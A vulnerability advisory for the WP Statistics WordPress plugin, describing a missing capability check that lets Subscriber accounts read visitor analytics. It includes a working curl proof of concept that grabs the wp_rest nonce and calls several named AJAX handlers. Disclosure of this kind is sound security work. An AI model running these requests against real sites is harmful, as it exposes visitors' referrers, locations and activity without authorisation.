WP Statistics < 14.16.10 – Subscriber+ Sensitive Data Disclosure via Metabox AJAX Handlers | CVE 2026-16562

Description

The plugin does not perform a capability check on a set of dashboard analytics AJAX handlers, relying only on a nonce that every authenticated user holds, allowing users with Subscriber-level access and above to disclose the site's visitor analytics data.

Proof of Concept

Prerequisites: default WP Statistics install (any 14.16.x incl. 14.16.9) with some
recorded visits, and any Subscriber-level account. No non-default configuration.

1. Log in as the Subscriber and open your own profile page. WordPress core localizes
   the wp_rest nonce there in the wpApiSettings object. Grab it:

   curl -s -b SUB_COOKIES 'https://victim.example/wp-admin/profile.php' \
     | grep -oE 'wpApiSettings = \{[^}]*"nonce":"[a-f0-9]+"'
   -> wpApiSettings = {"root":"...","nonce":"0db8ab80fd","versionString":"wp/v2/"}

2. Call any metabox data handler with the Subscriber cookie + that nonce:

   curl -s -b SUB_COOKIES 'https://victim.example/wp-admin/admin-ajax.php' \
     --data 'action=wp_statistics_recent_metabox_get_data&wps_nonce=0db8ab80fd'

   Returns HTTP 200 + JSON disclosing visitor analytics (referrer URLs, page views,
   timestamps). Sibling handlers add more:
     wp_statistics_referring_metabox_get_data     (referrer domains)
     wp_statistics_countries_metabox_get_data     (visitor geolocation)
     wp_statistics_top_visitors_metabox_get_data  (most active visitors)
     wp_statistics_browsers_metabox_get_data      (browser/platform)
     wp_statistics_search_metabox_get_data        (search-engine traffic)
     wp_statistics_useronline_metabox_get_data    (currently-online visitors)

Controls: unauthenticated (no cookie) -> HTTP 400; Subscriber WITHOUT the nonce
-> HTTP 500 (invalid nonce). The only barrier is "logged in + hold a wp_rest nonce",
no capability check.